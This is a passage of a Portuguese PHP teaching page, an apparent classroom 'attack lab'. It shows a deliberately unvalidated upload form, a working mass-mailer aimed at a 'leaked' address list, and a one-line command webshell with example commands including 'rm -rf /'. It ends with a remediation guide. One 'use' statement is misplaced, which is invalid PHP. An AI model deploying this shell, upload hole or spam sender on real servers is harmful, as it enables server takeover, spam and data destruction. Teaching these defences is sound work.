'teste', 'mensagem' => '🧪 Modo TESTE - e-mail não enviado', 'metodo' => 'simulação' ]; } // ============================================================ // MECANISMO 1: Usar mail() do PHP (mais comum) // ============================================================ $headers = "From: contato@site-vulneravel.com\r\n"; $headers .= "Reply-To: contato@site-vulneravel.com\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: text/html; charset=UTF-8\r\n"; $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n"; $headers .= "X-Priority: 3\r\n"; $headers .= "X-MSMail-Priority: Normal\r\n"; $headers .= "Importance: Normal\r\n"; // Tenta enviar usando mail() if (mail($destinatario, $assunto, $mensagem, $headers)) { return [ 'status' => 'sucesso', 'mensagem' => '✅ E-mail enviado com sucesso!', 'metodo' => 'mail() do PHP' ]; } // ============================================================ // MECANISMO 2: Usar shell_exec com sendmail (alternativo) // ============================================================ $comando = "echo " . escapeshellarg($mensagem) . " | sendmail -f contato@site-vulneravel.com $destinatario"; $output = shell_exec($comando . " 2>&1"); if (empty($output)) { return [ 'status' => 'sucesso', 'mensagem' => '✅ E-mail enviado com sucesso via sendmail!', 'metodo' => 'shell_exec(sendmail)' ]; } // ============================================================ // MECANISMO 3: Usar PHPMailer (se disponível) // ============================================================ if (file_exists('phpmailer/PHPMailer.php')) { try { require_once 'phpmailer/PHPMailer.php'; require_once 'phpmailer/SMTP.php'; require_once 'phpmailer/Exception.php'; use PHPMailer\PHPMailer\PHPMailer; $mail = new PHPMailer(true); $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->SMTPAuth = true; $mail->Username = 'seuemail@gmail.com'; $mail->Password = 'sua_senha_app'; $mail->SMTPSecure = 'tls'; $mail->Port = 587; $mail->setFrom('contato@site-vulneravel.com', 'Site Vulnerável'); $mail->addAddress($destinatario); $mail->isHTML(true); $mail->Subject = $assunto; $mail->Body = $mensagem; $mail->send(); return [ 'status' => 'sucesso', 'mensagem' => '✅ E-mail enviado com sucesso via PHPMailer!', 'metodo' => 'PHPMailer com SMTP' ]; } catch (Exception $e) { return [ 'status' => 'falha', 'mensagem' => '❌ Falha no envio: ' . $e->getMessage(), 'metodo' => 'PHPMailer' ]; } } // ============================================================ // Se todos os métodos falharem // ============================================================ return [ 'status' => 'falha', 'mensagem' => '❌ Nenhum método de envio disponível!', 'metodo' => 'indisponível' ]; } // ================================================================ // 3. PROCESSAR AÇÕES // ================================================================ $arquivo_upload = null; $resultado_envio = null; $email_resultado = null; $logs = []; // ================================================================ // 3.1 SIMULAR UPLOAD DE ARQUIVO (Invasor envia script) // ================================================================ if ($modo === 'upload' && isset($_FILES['arquivo'])) { $arquivo = $_FILES['arquivo']; $extensao = strtolower(pathinfo($arquivo['name'], PATHINFO_EXTENSION)); if (!is_dir('uploads')) { mkdir('uploads', 0777, true); } // VULNERÁVEL: Aceita qualquer arquivo $destino = 'uploads/' . $arquivo['name']; move_uploaded_file($arquivo['tmp_name'], $destino); $arquivo_upload = [ 'nome' => $arquivo['name'], 'destino' => $destino, 'tamanho' => round($arquivo['size'] / 1024, 2) . ' KB', 'extensao' => $extensao, 'perigoso' => in_array($extensao, ['php', 'phtml', 'php5', 'php7', 'inc']) ]; } // ================================================================ // 3.2 SIMULAR DISPARO DE E-MAILS EM MASSA (Invasor executa) // ================================================================ if ($modo === 'disparar' && isset($_POST['disparar_massa'])) { $modo_teste = isset($_POST['modo_teste']); $total = count($emails_vazados); $enviados = 0; $falhas = 0; $detalhes = []; foreach ($emails_vazados as $email) { $resultado = enviarEmailInvasor( $email, '💎 OFERTA IMPERDÍVEL!', $_POST['mensagem_spam'] ?? '', $modo_teste ); $detalhes[] = [ 'email' => $email, 'status' => $resultado['status'], 'mensagem' => $resultado['mensagem'], 'metodo' => $resultado['metodo'] ]; if ($resultado['status'] === 'sucesso') { $enviados++; } elseif ($resultado['status'] === 'teste') { $enviados++; } else { $falhas++; } // Pausa para não sobrecarregar usleep(200000); } $resultado_envio = [ 'total' => $total, 'enviados' => $enviados, 'falhas' => $falhas, 'detalhes' => $detalhes, 'modo_teste' => $modo_teste ]; } // ================================================================ // 3.3 ENVIO DE E-MAIL INDIVIDUAL (Demonstração) // ================================================================ if ($modo === 'enviar_real' && isset($_POST['enviar_email'])) { $destinatario = $_POST['destinatario'] ?? ''; $assunto = $_POST['assunto'] ?? 'Teste de E-mail'; $mensagem = $_POST['mensagem'] ?? ''; $modo_teste = isset($_POST['modo_teste']); if (!empty($destinatario)) { $email_resultado = enviarEmailInvasor($destinatario, $assunto, $mensagem, $modo_teste); } } ?> 🔴 LABORATÓRIO DE ATAQUE PHP
🔴 LABORATÓRIO DE ATAQUE

🐱‍💻 Mecanismos Reais de Invasão

⚠️ MATERIAL DIDÁTICO — Como invasores exploram sites PHP
🎯 Aprenda os mecanismos para saber como se proteger

🏠 Visão Geral 📤 1. Upload do Script 🎯 2. Painel do Invasor 📧 3. Disparo em Massa 📨 Envio Real (SMTP) 🛡️ Como Corrigir

🔍 Como funciona um ataque em PHP?

Invasores encontram sites com falhas de segurança e exploram essas brechas para enviar e-mails em massa, hospedar conteúdo malicioso ou até mesmo assumir o controle do servidor.

🎯 1. Encontra o site

Usa Google Dorks para encontrar sites com upload de arquivo sem validação.

Exemplo: site:*.com "upload" "file" "PHP"

📤 2. Envia script malicioso

Através do formulário de upload, envia um arquivo PHP que permite controlar o servidor.

Exemplo: shell.php com código para executar comandos

📧 3. Dispara e-mails em massa

Usa o servidor da vítima para enviar milhares de e-mails de spam ou phishing.

O site da vítima é bloqueado por spam e perde reputação.

🛡️ 4. Como se proteger

Validar uploads, usar prepared statements, manter PHP atualizado e usar SMTP seguro.

Ver guia completo →

💡 Clique nas abas acima para ver cada etapa do ataque funcionando na prática!

📤 PASSO 1: Invasor envia script malicioso

O invasor usa o formulário de upload do site vulnerável para enviar um arquivo PHP que dará acesso ao servidor.

📤 Enviar Script

(Simule o invasor enviando um arquivo PHP)

Clique para selecionar ou arraste um arquivo
⚠️ O site aceita qualquer extensão (.php, .phtml, etc.)

🔴 VULNERABILIDADE: O site não valida extensão, MIME type nem renomeia o arquivo.

📊 Resultado

✅ Arquivo enviado!

📄 Nome:
📍 Local:
📦 Tamanho:
🔍 Extensão:
🚨 PERIGO! Este arquivo pode ser executado pelo servidor! O invasor agora tem controle do site.
✅ Arquivo seguro (não é executável)

📤 Envie um arquivo para ver o resultado aqui.

Crie um arquivo shell.php com conteúdo PHP para simular.

🎓 EXPLICANDO PARA OS ALUNOS:
  • O site não validou a extensão do arquivo
  • O invasor enviou um script PHP malicioso
  • O script foi salvo no servidor e pode ser acessado via navegador
  • Agora o invasor tem controle total do servidor

🎯 PASSO 2: Painel do Invasor

Após enviar o script, o invasor acessa o arquivo diretamente pelo navegador e ganha controle total do servidor.

🎯 Painel de Controle

O invasor acessa: https://site-vulneravel.com/uploads/shell.php

$ whoami
www-data
$ pwd
/var/www/html/uploads
$ ls -la
drwxr-xr-x 2 www-data www-data 4096 ...
-rw-r--r-- 1 www-data www-data 1234 ... shell.php
🚨 O invasor agora pode:
  • Executar comandos no servidor
  • Enviar e-mails em massa
  • Modificar arquivos do site
  • Instalar backdoors permanentes
📧 PRÓXIMO: Disparar e-mails em massa

📄 O que o invasor enviou

Este é o código que o invasor subiu no servidor

<?php
// ====================================================
// SHELL SIMPLES - EXECUTA COMANDOS DO SISTEMA
// ====================================================
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']); // ⚠️ VULNERÁVEL
    echo "</pre>";
}
?>

⚠️ Este código permite executar QUALQUER comando:

shell.php?cmd=whoami → mostra o usuário do servidor
shell.php?cmd=ls -la → lista todos os arquivos
shell.php?cmd=rm -rf / → destrói todo o servidor

📧 PASSO 3: Disparo de E-mails em Massa

O invasor usa o servidor da vítima para enviar milhares de e-mails de spam. O site da vítima será bloqueado.

📊 Resultado do Disparo

📊 Total
✅ Enviados
❌ Falhas
🧪
Modo TESTE
()
🚨 CONSEQUÊNCIAS: O servidor da vítima foi usado para spam! O site será bloqueado e a reputação da empresa será destruída.
🔄 Re-executar 🛡️ Ver como corrigir

🎯 Disparar E-mails

e-mails carregados

⚠️ O que está acontecendo?

1. O invasor usa o servidor da vítima

Os e-mails são enviados do servidor da vítima, não do invasor.

2. O site perde reputação

O servidor é marcado como spam e bloqueado.

3. A empresa é prejudicada

Clientes recebem spam e perdem a confiança na empresa.

⚠️ IMPORTANTE: Este ataque só é possível porque o site não validou o upload e não protegeu o envio de e-mails.

📨 Envio Real de E-mail (SMTP)

Agora vamos enviar um e-mail de verdade usando SMTP, para mostrar como um sistema seguro deve funcionar.

📝 Enviar E-mail

📊 Status do Envio

✅ E-mail enviado com sucesso! 🧪 Modo TESTE - E-mail não enviado ❌ Falha ao enviar e-mail

✅ E-mail enviado para:
Método:
🧪 Modo TESTE ativado:
Desmarque a opção "Modo TESTE" para enviar de verdade.
❌ Erro:

📨 Preencha o formulário e clique em "ENVIAR E-MAIL"

Use o Modo TESTE para simular o envio.

🛡️ COMO CORRIGIR - Guia de Segurança

Aprenda como proteger seu site PHP contra os ataques que vimos na aula.

📤 1. Upload de Arquivos

❌ CÓDIGO VULNERÁVEL:
move_uploaded_file($arquivo['tmp_name'], 'uploads/' . $arquivo['name']);
✅ CÓDIGO SEGURO:
// 1. Validar extensão
$extensoes = ['jpg', 'png', 'pdf'];
$ext = strtolower(pathinfo($arquivo['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $extensoes)) die("Extensão não permitida!");

// 2. Validar MIME type
$mimes = ['image/jpeg', 'image/png', 'application/pdf'];
$mime = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $arquivo['tmp_name']);
if (!in_array($mime, $mimes)) die("Tipo de arquivo inválido!");

// 3. Renomear arquivo
$novo_nome = uniqid() . '.' . $ext;
move_uploaded_file($arquivo['tmp_name'], "uploads/$novo_nome");

📧 2. Envio de E-mails

❌ CÓDIGO VULNERÁVEL:
$headers = "From: " . $_POST['email'];
mail($destino, $assunto, $mensagem, $headers);
✅ CÓDIGO SEGURO (PHPMailer):
use PHPMailer\PHPMailer\PHPMailer;

$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = 'seuemail@gmail.com';
$mail->Password = 'sua_senha_app';
$mail->SMTPSecure = 'tls';
$mail->Port = 587;

$mail->setFrom('seuemail@gmail.com');
$mail->addAddress($destinatario);
$mail->send();
✅ CHECKLIST DE SEGURANÇA:
  • ☐ Validar extensões de arquivo (allowlist)
  • ☐ Validar MIME type de arquivos
  • ☐ Renomear arquivos enviados (uniqid())
  • ☐ Usar PHPMailer com SMTP
  • ☐ Validar todos os inputs do usuário
  • ☐ Usar prepared statements para SQL
  • ☐ Manter PHP e bibliotecas atualizadas
  • ☐ Usar Senha de App (Gmail) / API Keys

📚 Laboratório de Segurança — Material Didático para Sala de Aula
© — Professor [Seu Nome] — Todos os direitos reservados
⚠️ Este material é exclusivamente para fins educacionais